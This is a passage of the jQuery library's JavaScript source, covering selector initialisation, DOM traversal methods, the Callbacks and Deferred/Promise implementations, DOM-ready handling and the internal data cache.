selector || [], true ) );\n        },\n        is: function( selector ) {\n            return !!winnow(\n                this,\n\n                // If this is a positional/relative selector, check membership in the returned set\n                // so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n                typeof selector === \"string\" && rneedsContext.test( selector ) ?\n                    jQuery( selector ) :\n                    selector || [],\n                false\n            ).length;\n        }\n    } );\n\n\n// Initialize a jQuery object\n\n\n// A central reference to the root jQuery(document)\n    var rootjQuery,\n\n        // A simple way to check for HTML strings\n        // Prioritize #id over <tag> to avoid XSS via location.hash (#9521)\n        // Strict HTML recognition (#11290: must start with <)\n        // Shortcut simple #id case for speed\n        rquickExpr = /^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/,\n\n        init = jQuery.fn.init = function( selector, context, root ) {\n            var match, elem;\n\n            // HANDLE: $(\"\"), $(null), $(undefined), $(false)\n            if ( !selector ) {\n                return this;\n            }\n\n            // Method init() accepts an alternate rootjQuery\n            // so migrate can support jQuery.sub (gh-2101)\n            root = root || rootjQuery;\n\n            // Handle HTML strings\n            if ( typeof selector === \"string\" ) {\n                if ( selector[ 0 ] === \"<\" &&\n                    selector[ selector.length - 1 ] === \">\" &&\n                    selector.length >= 3 ) {\n\n                    // Assume that strings that start and end with <> are HTML and skip the regex check\n                    match = [ null, selector, null ];\n\n                } else {\n                    match = rquickExpr.exec( selector );\n                }\n\n                // Match html or make sure no context is specified for #id\n                if ( match && ( match[ 1 ] || !context ) ) {\n\n                    // HANDLE: $(html) -> $(array)\n                    if ( match[ 1 ] ) {\n                        context = context instanceof jQuery ? context[ 0 ] : context;\n\n                        // Option to run scripts is true for back-compat\n                        // Intentionally let the error be thrown if parseHTML is not present\n                        jQuery.merge( this, jQuery.parseHTML(\n                            match[ 1 ],\n                            context && context.nodeType ? context.ownerDocument || context : document,\n                            true\n                        ) );\n\n                        // HANDLE: $(html, props)\n                        if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {\n                            for ( match in context ) {\n\n                                // Properties of context are called as methods if possible\n                                if ( jQuery.isFunction( this[ match ] ) ) {\n                                    this[ match ]( context[ match ] );\n\n                                    // ...and otherwise set as attributes\n                                } else {\n                                    this.attr( match, context[ match ] );\n                                }\n                            }\n                        }\n\n                        return this;\n\n                        // HANDLE: $(#id)\n                    } else {\n                        elem = document.getElementById( match[ 2 ] );\n\n                        if ( elem ) {\n\n                            // Inject the element directly into the jQuery object\n                            this[ 0 ] = elem;\n                            this.length = 1;\n                        }\n                        return this;\n                    }\n\n                    // HANDLE: $(expr, $(...))\n                } else if ( !context || context.jquery ) {\n                    return ( context || root ).find( selector );\n\n                    // HANDLE: $(expr, context)\n                    // (which is just equivalent to: $(context).find(expr)\n                } else {\n                    return this.constructor( context ).find( selector );\n                }\n\n                // HANDLE: $(DOMElement)\n            } else if ( selector.nodeType ) {\n                this[ 0 ] = selector;\n                this.length = 1;\n                return this;\n\n                // HANDLE: $(function)\n                // Shortcut for document ready\n            } else if ( jQuery.isFunction( selector ) ) {\n                return root.ready !== undefined ?\n                    root.ready( selector ) :\n\n                    // Execute immediately if ready is not present\n                    selector( jQuery );\n            }\n\n            return jQuery.makeArray( selector, this );\n        };\n\n// Give the init function the jQuery prototype for later instantiation\n    init.prototype = jQuery.fn;\n\n// Initialize central reference\n    rootjQuery = jQuery( document );\n\n\n    var rparentsprev = /^(?:parents|prev(?:Until|All))/,\n\n        // Methods guaranteed to produce a unique set when starting from a unique set\n        guaranteedUnique = {\n            children: true,\n            contents: true,\n            next: true,\n            prev: true\n        };\n\n    jQuery.fn.extend( {\n        has: function( target ) {\n            var targets = jQuery( target, this ),\n                l = targets.length;\n\n            return this.filter( function() {\n                var i = 0;\n                for ( ; i < l; i++ ) {\n                    if ( jQuery.contains( this, targets[ i ] ) ) {\n                        return true;\n                    }\n                }\n            } );\n        },\n\n        closest: function( selectors, context ) {\n            var cur,\n                i = 0,\n                l = this.length,\n                matched = [],\n                targets = typeof selectors !== \"string\" && jQuery( selectors );\n\n            // Positional selectors never match, since there's no _selection_ context\n            if ( !rneedsContext.test( selectors ) ) {\n                for ( ; i < l; i++ ) {\n                    for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {\n\n                        // Always skip document fragments\n                        if ( cur.nodeType < 11 && ( targets ?\n                                targets.index( cur ) > -1 :\n\n                                // Don't pass non-elements to Sizzle\n                                cur.nodeType === 1 &&\n                                jQuery.find.matchesSelector( cur, selectors ) ) ) {\n\n                            matched.push( cur );\n                            break;\n                        }\n                    }\n                }\n            }\n\n            return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );\n        },\n\n        // Determine the position of an element within the set\n        index: function( elem ) {\n\n            // No argument, return index in parent\n            if ( !elem ) {\n                return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;\n            }\n\n            // Index in selector\n            if ( typeof elem === \"string\" ) {\n                return indexOf.call( jQuery( elem ), this[ 0 ] );\n            }\n\n            // Locate the position of the desired element\n            return indexOf.call( this,\n\n                // If it receives a jQuery object, the first element is used\n                elem.jquery ? elem[ 0 ] : elem\n            );\n        },\n\n        add: function( selector, context ) {\n            return this.pushStack(\n                jQuery.uniqueSort(\n                    jQuery.merge( this.get(), jQuery( selector, context ) )\n                )\n            );\n        },\n\n        addBack: function( selector ) {\n            return this.add( selector == null ?\n                this.prevObject : this.prevObject.filter( selector )\n            );\n        }\n    } );\n\n    function sibling( cur, dir ) {\n        while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}\n        return cur;\n    }\n\n    jQuery.each( {\n        parent: function( elem ) {\n            var parent = elem.parentNode;\n            return parent && parent.nodeType !== 11 ? parent : null;\n        },\n        parents: function( elem ) {\n            return dir( elem, \"parentNode\" );\n        },\n        parentsUntil: function( elem, i, until ) {\n            return dir( elem, \"parentNode\", until );\n        },\n        next: function( elem ) {\n            return sibling( elem, \"nextSibling\" );\n        },\n        prev: function( elem ) {\n            return sibling( elem, \"previousSibling\" );\n        },\n        nextAll: function( elem ) {\n            return dir( elem, \"nextSibling\" );\n        },\n        prevAll: function( elem ) {\n            return dir( elem, \"previousSibling\" );\n        },\n        nextUntil: function( elem, i, until ) {\n            return dir( elem, \"nextSibling\", until );\n        },\n        prevUntil: function( elem, i, until ) {\n            return dir( elem, \"previousSibling\", until );\n        },\n        siblings: function( elem ) {\n            return siblings( ( elem.parentNode || {} ).firstChild, elem );\n        },\n        children: function( elem ) {\n            return siblings( elem.firstChild );\n        },\n        contents: function( elem ) {\n            return elem.contentDocument || jQuery.merge( [], elem.childNodes );\n        }\n    }, function( name, fn ) {\n        jQuery.fn[ name ] = function( until, selector ) {\n            var matched = jQuery.map( this, fn, until );\n\n            if ( name.slice( -5 ) !== \"Until\" ) {\n                selector = until;\n            }\n\n            if ( selector && typeof selector === \"string\" ) {\n                matched = jQuery.filter( selector, matched );\n            }\n\n            if ( this.length > 1 ) {\n\n                // Remove duplicates\n                if ( !guaranteedUnique[ name ] ) {\n                    jQuery.uniqueSort( matched );\n                }\n\n                // Reverse order for parents* and prev-derivatives\n                if ( rparentsprev.test( name ) ) {\n                    matched.reverse();\n                }\n            }\n\n            return this.pushStack( matched );\n        };\n    } );\n    var rnothtmlwhite = ( /[^\\x20\\t\\r\\n\\f]+/g );\n\n\n\n// Convert String-formatted options into Object-formatted ones\n    function createOptions( options ) {\n        var object = {};\n        jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {\n            object[ flag ] = true;\n        } );\n        return object;\n    }\n\n    /*\n     * Create a callback list using the following parameters:\n     *\n     *\toptions: an optional list of space-separated options that will change how\n     *\t\t\tthe callback list behaves or a more traditional option object\n     *\n     * By default a callback list will act like an event callback list and can be\n     * \"fired\" multiple times.\n     *\n     * Possible options:\n     *\n     *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n     *\n     *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n     *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n     *\t\t\t\t\tvalues (like a Deferred)\n     *\n     *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n     *\n     *\tstopOnFalse:\tinterrupt callings when a callback returns false\n     *\n     */\n    jQuery.Callbacks = function( options ) {\n\n        // Convert options from String-formatted to Object-formatted if needed\n        // (we check in cache first)\n        options = typeof options === \"string\" ?\n            createOptions( options ) :\n            jQuery.extend( {}, options );\n\n        var // Flag to know if list is currently firing\n            firing,\n\n            // Last fire value for non-forgettable lists\n            memory,\n\n            // Flag to know if list was already fired\n            fired,\n\n            // Flag to prevent firing\n            locked,\n\n            // Actual callback list\n            list = [],\n\n            // Queue of execution data for repeatable lists\n            queue = [],\n\n            // Index of currently firing callback (modified by add/remove as needed)\n            firingIndex = -1,\n\n            // Fire callbacks\n            fire = function() {\n\n                // Enforce single-firing\n                locked = options.once;\n\n                // Execute callbacks for all pending executions,\n                // respecting firingIndex overrides and runtime changes\n                fired = firing = true;\n                for ( ; queue.length; firingIndex = -1 ) {\n                    memory = queue.shift();\n                    while ( ++firingIndex < list.length ) {\n\n                        // Run callback and check for early termination\n                        if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&\n                            options.stopOnFalse ) {\n\n                            // Jump to end and forget the data so .add doesn't re-fire\n                            firingIndex = list.length;\n                            memory = false;\n                        }\n                    }\n                }\n\n                // Forget the data if we're done with it\n                if ( !options.memory ) {\n                    memory = false;\n                }\n\n                firing = false;\n\n                // Clean up if we're done firing for good\n                if ( locked ) {\n\n                    // Keep an empty list if we have data for future add calls\n                    if ( memory ) {\n                        list = [];\n\n                        // Otherwise, this object is spent\n                    } else {\n                        list = \"\";\n                    }\n                }\n            },\n\n            // Actual Callbacks object\n            self = {\n\n                // Add a callback or a collection of callbacks to the list\n                add: function() {\n                    if ( list ) {\n\n                        // If we have memory from a past run, we should fire after adding\n                        if ( memory && !firing ) {\n                            firingIndex = list.length - 1;\n                            queue.push( memory );\n                        }\n\n                        ( function add( args ) {\n                            jQuery.each( args, function( _, arg ) {\n                                if ( jQuery.isFunction( arg ) ) {\n                                    if ( !options.unique || !self.has( arg ) ) {\n                                        list.push( arg );\n                                    }\n                                } else if ( arg && arg.length && jQuery.type( arg ) !== \"string\" ) {\n\n                                    // Inspect recursively\n                                    add( arg );\n                                }\n                            } );\n                        } )( arguments );\n\n                        if ( memory && !firing ) {\n                            fire();\n                        }\n                    }\n                    return this;\n                },\n\n                // Remove a callback from the list\n                remove: function() {\n                    jQuery.each( arguments, function( _, arg ) {\n                        var index;\n                        while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {\n                            list.splice( index, 1 );\n\n                            // Handle firing indexes\n                            if ( index <= firingIndex ) {\n                                firingIndex--;\n                            }\n                        }\n                    } );\n                    return this;\n                },\n\n                // Check if a given callback is in the list.\n                // If no argument is given, return whether or not list has callbacks attached.\n                has: function( fn ) {\n                    return fn ?\n                        jQuery.inArray( fn, list ) > -1 :\n                        list.length > 0;\n                },\n\n                // Remove all callbacks from the list\n                empty: function() {\n                    if ( list ) {\n                        list = [];\n                    }\n                    return this;\n                },\n\n                // Disable .fire and .add\n                // Abort any current/pending executions\n                // Clear all callbacks and values\n                disable: function() {\n                    locked = queue = [];\n                    list = memory = \"\";\n                    return this;\n                },\n                disabled: function() {\n                    return !list;\n                },\n\n                // Disable .fire\n                // Also disable .add unless we have memory (since it would have no effect)\n                // Abort any pending executions\n                lock: function() {\n                    locked = queue = [];\n                    if ( !memory && !firing ) {\n                        list = memory = \"\";\n                    }\n                    return this;\n                },\n                locked: function() {\n                    return !!locked;\n                },\n\n                // Call all callbacks with the given context and arguments\n                fireWith: function( context, args ) {\n                    if ( !locked ) {\n                        args = args || [];\n                        args = [ context, args.slice ? args.slice() : args ];\n                        queue.push( args );\n                        if ( !firing ) {\n                            fire();\n                        }\n                    }\n                    return this;\n                },\n\n                // Call all the callbacks with the given arguments\n                fire: function() {\n                    self.fireWith( this, arguments );\n                    return this;\n                },\n\n                // To know if the callbacks have already been called at least once\n                fired: function() {\n                    return !!fired;\n                }\n            };\n\n        return self;\n    };\n\n\n    function Identity( v ) {\n        return v;\n    }\n    function Thrower( ex ) {\n        throw ex;\n    }\n\n    function adoptValue( value, resolve, reject ) {\n        var method;\n\n        try {\n\n            // Check for promise aspect first to privilege synchronous behavior\n            if ( value && jQuery.isFunction( ( method = value.promise ) ) ) {\n                method.call( value ).done( resolve ).fail( reject );\n\n                // Other thenables\n            } else if ( value && jQuery.isFunction( ( method = value.then ) ) ) {\n                method.call( value, resolve, reject );\n\n                // Other non-thenables\n            } else {\n\n                // Support: Android 4.0 only\n                // Strict mode functions invoked without .call/.apply get global-object context\n                resolve.call( undefined, value );\n            }\n\n            // For Promises/A+, convert exceptions into rejections\n            // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in\n            // Deferred#then to conditionally suppress rejection.\n        } catch ( value ) {\n\n            // Support: Android 4.0 only\n            // Strict mode functions invoked without .call/.apply get global-object context\n            reject.call( undefined, value );\n        }\n    }\n\n    jQuery.extend( {\n\n        Deferred: function( func ) {\n            var tuples = [\n\n                    // action, add listener, callbacks,\n                    // ... .then handlers, argument index, [final state]\n                    [ \"notify\", \"progress\", jQuery.Callbacks( \"memory\" ),\n                        jQuery.Callbacks( \"memory\" ), 2 ],\n                    [ \"resolve\", \"done\", jQuery.Callbacks( \"once memory\" ),\n                        jQuery.Callbacks( \"once memory\" ), 0, \"resolved\" ],\n                    [ \"reject\", \"fail\", jQuery.Callbacks( \"once memory\" ),\n                        jQuery.Callbacks( \"once memory\" ), 1, \"rejected\" ]\n                ],\n                state = \"pending\",\n                promise = {\n                    state: function() {\n                        return state;\n                    },\n                    always: function() {\n                        deferred.done( arguments ).fail( arguments );\n                        return this;\n                    },\n                    \"catch\": function( fn ) {\n                        return promise.then( null, fn );\n                    },\n\n                    // Keep pipe for back-compat\n                    pipe: function( /* fnDone, fnFail, fnProgress */ ) {\n                        var fns = arguments;\n\n                        return jQuery.Deferred( function( newDefer ) {\n                            jQuery.each( tuples, function( i, tuple ) {\n\n                                // Map tuples (progress, done, fail) to arguments (done, fail, progress)\n                                var fn = jQuery.isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];\n\n                                // deferred.progress(function() { bind to newDefer or newDefer.notify })\n                                // deferred.done(function() { bind to newDefer or newDefer.resolve })\n                                // deferred.fail(function() { bind to newDefer or newDefer.reject })\n                                deferred[ tuple[ 1 ] ]( function() {\n                                    var returned = fn && fn.apply( this, arguments );\n                                    if ( returned && jQuery.isFunction( returned.promise ) ) {\n                                        returned.promise()\n                                            .progress( newDefer.notify )\n                                            .done( newDefer.resolve )\n                                            .fail( newDefer.reject );\n                                    } else {\n                                        newDefer[ tuple[ 0 ] + \"With\" ](\n                                            this,\n                                            fn ? [ returned ] : arguments\n                                        );\n                                    }\n                                } );\n                            } );\n                            fns = null;\n                        } ).promise();\n                    },\n                    then: function( onFulfilled, onRejected, onProgress ) {\n                        var maxDepth = 0;\n                        function resolve( depth, deferred, handler, special ) {\n                            return function() {\n                                var that = this,\n                                    args = arguments,\n                                    mightThrow = function() {\n                                        var returned, then;\n\n                                        // Support: Promises/A+ section 2.3.3.3.3\n                                        // https://promisesaplus.com/#point-59\n                                        // Ignore double-resolution attempts\n                                        if ( depth < maxDepth ) {\n                                            return;\n                                        }\n\n                                        returned = handler.apply( that, args );\n\n                                        // Support: Promises/A+ section 2.3.1\n                                        // https://promisesaplus.com/#point-48\n                                        if ( returned === deferred.promise() ) {\n                                            throw new TypeError( \"Thenable self-resolution\" );\n                                        }\n\n                                        // Support: Promises/A+ sections 2.3.3.1, 3.5\n                                        // https://promisesaplus.com/#point-54\n                                        // https://promisesaplus.com/#point-75\n                                        // Retrieve `then` only once\n                                        then = returned &&\n\n                                            // Support: Promises/A+ section 2.3.4\n                                            // https://promisesaplus.com/#point-64\n                                            // Only check objects and functions for thenability\n                                            ( typeof returned === \"object\" ||\n                                                typeof returned === \"function\" ) &&\n                                            returned.then;\n\n                                        // Handle a returned thenable\n                                        if ( jQuery.isFunction( then ) ) {\n\n                                            // Special processors (notify) just wait for resolution\n                                            if ( special ) {\n                                                then.call(\n                                                    returned,\n                                                    resolve( maxDepth, deferred, Identity, special ),\n                                                    resolve( maxDepth, deferred, Thrower, special )\n                                                );\n\n                                                // Normal processors (resolve) also hook into progress\n                                            } else {\n\n                                                // ...and disregard older resolution values\n                                                maxDepth++;\n\n                                                then.call(\n                                                    returned,\n                                                    resolve( maxDepth, deferred, Identity, special ),\n                                                    resolve( maxDepth, deferred, Thrower, special ),\n                                                    resolve( maxDepth, deferred, Identity,\n                                                        deferred.notifyWith )\n                                                );\n                                            }\n\n                                            // Handle all other returned values\n                                        } else {\n\n                                            // Only substitute handlers pass on context\n                                            // and multiple values (non-spec behavior)\n                                            if ( handler !== Identity ) {\n                                                that = undefined;\n                                                args = [ returned ];\n                                            }\n\n                                            // Process the value(s)\n                                            // Default process is resolve\n                                            ( special || deferred.resolveWith )( that, args );\n                                        }\n                                    },\n\n                                    // Only normal processors (resolve) catch and reject exceptions\n                                    process = special ?\n                                        mightThrow :\n                                        function() {\n                                            try {\n                                                mightThrow();\n                                            } catch ( e ) {\n\n                                                if ( jQuery.Deferred.exceptionHook ) {\n                                                    jQuery.Deferred.exceptionHook( e,\n                                                        process.stackTrace );\n                                                }\n\n                                                // Support: Promises/A+ section 2.3.3.3.4.1\n                                                // https://promisesaplus.com/#point-61\n                                                // Ignore post-resolution exceptions\n                                                if ( depth + 1 >= maxDepth ) {\n\n                                                    // Only substitute handlers pass on context\n                                                    // and multiple values (non-spec behavior)\n                                                    if ( handler !== Thrower ) {\n                                                        that = undefined;\n                                                        args = [ e ];\n                                                    }\n\n                                                    deferred.rejectWith( that, args );\n                                                }\n                                            }\n                                        };\n\n                                // Support: Promises/A+ section 2.3.3.3.1\n                                // https://promisesaplus.com/#point-57\n                                // Re-resolve promises immediately to dodge false rejection from\n                                // subsequent errors\n                                if ( depth ) {\n                                    process();\n                                } else {\n\n                                    // Call an optional hook to record the stack, in case of exception\n                                    // since it's otherwise lost when execution goes async\n                                    if ( jQuery.Deferred.getStackHook ) {\n                                        process.stackTrace = jQuery.Deferred.getStackHook();\n                                    }\n                                    window.setTimeout( process );\n                                }\n                            };\n                        }\n\n                        return jQuery.Deferred( function( newDefer ) {\n\n                            // progress_handlers.add( ... )\n                            tuples[ 0 ][ 3 ].add(\n                                resolve(\n                                    0,\n                                    newDefer,\n                                    jQuery.isFunction( onProgress ) ?\n                                        onProgress :\n                                        Identity,\n                                    newDefer.notifyWith\n                                )\n                            );\n\n                            // fulfilled_handlers.add( ... )\n                            tuples[ 1 ][ 3 ].add(\n                                resolve(\n                                    0,\n                                    newDefer,\n                                    jQuery.isFunction( onFulfilled ) ?\n                                        onFulfilled :\n                                        Identity\n                                )\n                            );\n\n                            // rejected_handlers.add( ... )\n                            tuples[ 2 ][ 3 ].add(\n                                resolve(\n                                    0,\n                                    newDefer,\n                                    jQuery.isFunction( onRejected ) ?\n                                        onRejected :\n                                        Thrower\n                                )\n                            );\n                        } ).promise();\n                    },\n\n                    // Get a promise for this deferred\n                    // If obj is provided, the promise aspect is added to the object\n                    promise: function( obj ) {\n                        return obj != null ? jQuery.extend( obj, promise ) : promise;\n                    }\n                },\n                deferred = {};\n\n            // Add list-specific methods\n            jQuery.each( tuples, function( i, tuple ) {\n                var list = tuple[ 2 ],\n                    stateString = tuple[ 5 ];\n\n                // promise.progress = list.add\n                // promise.done = list.add\n                // promise.fail = list.add\n                promise[ tuple[ 1 ] ] = list.add;\n\n                // Handle state\n                if ( stateString ) {\n                    list.add(\n                        function() {\n\n                            // state = \"resolved\" (i.e., fulfilled)\n                            // state = \"rejected\"\n                            state = stateString;\n                        },\n\n                        // rejected_callbacks.disable\n                        // fulfilled_callbacks.disable\n                        tuples[ 3 - i ][ 2 ].disable,\n\n                        // progress_callbacks.lock\n                        tuples[ 0 ][ 2 ].lock\n                    );\n                }\n\n                // progress_handlers.fire\n                // fulfilled_handlers.fire\n                // rejected_handlers.fire\n                list.add( tuple[ 3 ].fire );\n\n                // deferred.notify = function() { deferred.notifyWith(...) }\n                // deferred.resolve = function() { deferred.resolveWith(...) }\n                // deferred.reject = function() { deferred.rejectWith(...) }\n                deferred[ tuple[ 0 ] ] = function() {\n                    deferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? undefined : this, arguments );\n                    return this;\n                };\n\n                // deferred.notifyWith = list.fireWith\n                // deferred.resolveWith = list.fireWith\n                // deferred.rejectWith = list.fireWith\n                deferred[ tuple[ 0 ] + \"With\" ] = list.fireWith;\n            } );\n\n            // Make the deferred a promise\n            promise.promise( deferred );\n\n            // Call given func if any\n            if ( func ) {\n                func.call( deferred, deferred );\n            }\n\n            // All done!\n            return deferred;\n        },\n\n        // Deferred helper\n        when: function( singleValue ) {\n            var\n\n                // count of uncompleted subordinates\n                remaining = arguments.length,\n\n                // count of unprocessed arguments\n                i = remaining,\n\n                // subordinate fulfillment data\n                resolveContexts = Array( i ),\n                resolveValues = slice.call( arguments ),\n\n                // the master Deferred\n                master = jQuery.Deferred(),\n\n                // subordinate callback factory\n                updateFunc = function( i ) {\n                    return function( value ) {\n                        resolveContexts[ i ] = this;\n                        resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;\n                        if ( !( --remaining ) ) {\n                            master.resolveWith( resolveContexts, resolveValues );\n                        }\n                    };\n                };\n\n            // Single- and empty arguments are adopted like Promise.resolve\n            if ( remaining <= 1 ) {\n                adoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject );\n\n                // Use .then() to unwrap secondary thenables (cf. gh-3000)\n                if ( master.state() === \"pending\" ||\n                    jQuery.isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {\n\n                    return master.then();\n                }\n            }\n\n            // Multiple arguments are aggregated like Promise.all array elements\n            while ( i-- ) {\n                adoptValue( resolveValues[ i ], updateFunc( i ), master.reject );\n            }\n\n            return master.promise();\n        }\n    } );\n\n\n// These usually indicate a programmer mistake during development,\n// warn about them ASAP rather than swallowing them by default.\n    var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;\n\n    jQuery.Deferred.exceptionHook = function( error, stack ) {\n\n        // Support: IE 8 - 9 only\n        // Console exists when dev tools are open, which can happen at any time\n        if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {\n            window.console.warn( \"jQuery.Deferred exception: \" + error.message, error.stack, stack );\n        }\n    };\n\n\n\n\n    jQuery.readyException = function( error ) {\n        window.setTimeout( function() {\n            throw error;\n        } );\n    };\n\n\n\n\n// The deferred used on DOM ready\n    var readyList = jQuery.Deferred();\n\n    jQuery.fn.ready = function( fn ) {\n\n        readyList\n            .then( fn )\n\n            // Wrap jQuery.readyException in a function so that the lookup\n            // happens at the time of error handling instead of callback\n            // registration.\n            .catch( function( error ) {\n                jQuery.readyException( error );\n            } );\n\n        return this;\n    };\n\n    jQuery.extend( {\n\n        // Is the DOM ready to be used? Set to true once it occurs.\n        isReady: false,\n\n        // A counter to track how many items to wait for before\n        // the ready event fires. See #6781\n        readyWait: 1,\n\n        // Hold (or release) the ready event\n        holdReady: function( hold ) {\n            if ( hold ) {\n                jQuery.readyWait++;\n            } else {\n                jQuery.ready( true );\n            }\n        },\n\n        // Handle when the DOM is ready\n        ready: function( wait ) {\n\n            // Abort if there are pending holds or we're already ready\n            if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {\n                return;\n            }\n\n            // Remember that the DOM is ready\n            jQuery.isReady = true;\n\n            // If a normal DOM Ready event fired, decrement, and wait if need be\n            if ( wait !== true && --jQuery.readyWait > 0 ) {\n                return;\n            }\n\n            // If there are functions bound, to execute\n            readyList.resolveWith( document, [ jQuery ] );\n        }\n    } );\n\n    jQuery.ready.then = readyList.then;\n\n// The ready event handler and self cleanup method\n    function completed() {\n        document.removeEventListener( \"DOMContentLoaded\", completed );\n        window.removeEventListener( \"load\", completed );\n        jQuery.ready();\n    }\n\n// Catch cases where $(document).ready() is called\n// after the browser event has already occurred.\n// Support: IE <=9 - 10 only\n// Older IE sometimes signals \"interactive\" too soon\n    if ( document.readyState === \"complete\" ||\n        ( document.readyState !== \"loading\" && !document.documentElement.doScroll ) ) {\n\n        // Handle it asynchronously to allow scripts the opportunity to delay ready\n        window.setTimeout( jQuery.ready );\n\n    } else {\n\n        // Use the handy event callback\n        document.addEventListener( \"DOMContentLoaded\", completed );\n\n        // A fallback to window.onload, that will always work\n        window.addEventListener( \"load\", completed );\n    }\n\n\n\n\n// Multifunctional method to get and set values of a collection\n// The value/s can optionally be executed if it's a function\n    var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {\n        var i = 0,\n            len = elems.length,\n            bulk = key == null;\n\n        // Sets many values\n        if ( jQuery.type( key ) === \"object\" ) {\n            chainable = true;\n            for ( i in key ) {\n                access( elems, fn, i, key[ i ], true, emptyGet, raw );\n            }\n\n            // Sets one value\n        } else if ( value !== undefined ) {\n            chainable = true;\n\n            if ( !jQuery.isFunction( value ) ) {\n                raw = true;\n            }\n\n            if ( bulk ) {\n\n                // Bulk operations run against the entire set\n                if ( raw ) {\n                    fn.call( elems, value );\n                    fn = null;\n\n                    // ...except when executing function values\n                } else {\n                    bulk = fn;\n                    fn = function( elem, key, value ) {\n                        return bulk.call( jQuery( elem ), value );\n                    };\n                }\n            }\n\n            if ( fn ) {\n                for ( ; i < len; i++ ) {\n                    fn(\n                        elems[ i ], key, raw ?\n                            value :\n                            value.call( elems[ i ], i, fn( elems[ i ], key ) )\n                    );\n                }\n            }\n        }\n\n        if ( chainable ) {\n            return elems;\n        }\n\n        // Gets\n        if ( bulk ) {\n            return fn.call( elems );\n        }\n\n        return len ? fn( elems[ 0 ], key ) : emptyGet;\n    };\n    var acceptData = function( owner ) {\n\n        // Accepts only:\n        //  - Node\n        //    - Node.ELEMENT_NODE\n        //    - Node.DOCUMENT_NODE\n        //  - Object\n        //    - Any\n        return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n    };\n\n\n\n\n    function Data() {\n        this.expando = jQuery.expando + Data.uid++;\n    }\n\n    Data.uid = 1;\n\n    Data.prototype = {\n\n        cache: function( owner ) {\n\n            // Check if the owner object already has a cache\n            var value = owner[ this.expando ];\n\n            // If not, create one\n            if ( !value ) {\n                value = {};\n\n                // We can accept data for non-element nodes in modern browsers,\n                // but we should not, see #8335.\n                // Always return an empty object.\n                if ( acceptData( owner ) ) {\n\n                    // If it is a node unlikely to be stringify-ed or looped over\n                    // use plain assignment\n                    if ( owner.nodeType ) {\n                        owner[ this.expando ] = value;\n\n                        // Otherwise secure it in a non-enumerable property\n                        // configurable must be true to allow the property to be\n                        // deleted when data is removed\n                    } else {\n                        Object.defineProperty( owner, this.expando, {\n                            value: value,\n                            configurable: true\n                        } );\n                    }\n                }\n            }\n\n            return value;\n        },\n        set: function( owner, data, value ) {\n            var prop,\n                cache = this.cache( owner );\n\n            // Handle: [ owner, key, value ] args\n            // Always use camelCase key (gh-2257)\n            if ( typeof data === \"string\" ) {\n                cache[ jQuery.camelCase( data ) ] = value;\n\n                // Handle: [ owner, { properties } ] args\n            } else {\n\n                // Copy the properties one-by-one to the cache object\n                for ( prop in data ) {\n                    cache[ jQuery.camelCase( prop ) ] = data[ prop ];\n                }\n            }\n            return cache;\n        },\n        get: function( owner, key ) {\n            return key === undefined ?\n                this.cache( owner ) :\n\n                // Always use camelCase key (gh-2257)\n                owner[ this.expando ] && owner[ this.expando ][ jQuery.camelCase( key ) ];\n        },\n        access: function( owner, key, value ) {\n\n            // In cases where either:\n            //\n            //   1. No key was specified\n            //   2. A string key was specified, but no value provided\n            //\n            // Take the \"read\" path and allow the get method to determine\n            // which value to return, respectively either:\n            //\n            //   1. The entire cache object\n            //   2. The data stored at the key\n            //\n            if ( key === undefined ||\n                ( ( key && typeof key === \"string\" ) && value === undefined ) ) {\n\n                return this.get( owner, key );\n            }\n\n            // When the key is not a string, or both a key and value\n            // are specified, set or extend (existing objects) with either:\n            //\n            //   1. An object of properties\n            //   2. A key and value\n            //\n            this.set( owner, key, value );\n\n            // Since the \"set\" path can have two possible entry points\n            // return the expected data based on which path was taken[*]\n            return value !== undefined ? value : key;\n        },\n        remove: function( owner, key ) {\n            var i,\n                cache = owner[ this.expando ];\n\n            if ( cache === undefined ) {\n                return;\n            }\n\n            if ( key !== undefined ) {\n\n                // Support array or space separated string of keys\n                if ( jQuery.isArray( key ) ) {\n\n                    // If key is an array of keys...\n                    // We always set camelCase keys, so remove that.\n                    key = key.map( jQuery.camelCase );\n                } else {\n                    key = jQuery.camelCase( key );\n\n                    // If a key with the spaces exists, use it.\n                    // Otherwise, create an array by matching non-whitespace\n                    key = key in cache ?\n                        [ key ] :\n                        ( key.match( rnothtmlwhite ) || [] );\n                }\n\n                i = key.length;\n\n                while ( i-- ) {\n                    delete cache[ key[ i ] ];\n                }\n            }\n\n            // Remove the expando if there's no more data\n            if ( key === undefined || jQuery.isEmptyObject( cache ) ) {\n\n                // Support: Chrome <=35 - 45\n                // Webkit & Blink performance suffers when deleting properties\n                // from DOM nodes, so set to undefined instead\n                // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)\n                if ( owner.nodeType ) {\n                    owner[ this.expando ] = undefined;\n                } else {\n                    delete owner[ this.expando ];\n                }\n            }\n        },\n        hasData: function( owner ) {\n            var cache = owner[ this.expando ];\n            return cache !== undefined && !jQuery.isEmptyObject( cache );\n        }\n    };\n    var dataPriv = new Data();\n\n    var dataUser = new Data();\n\n\n\n//\tImplementation 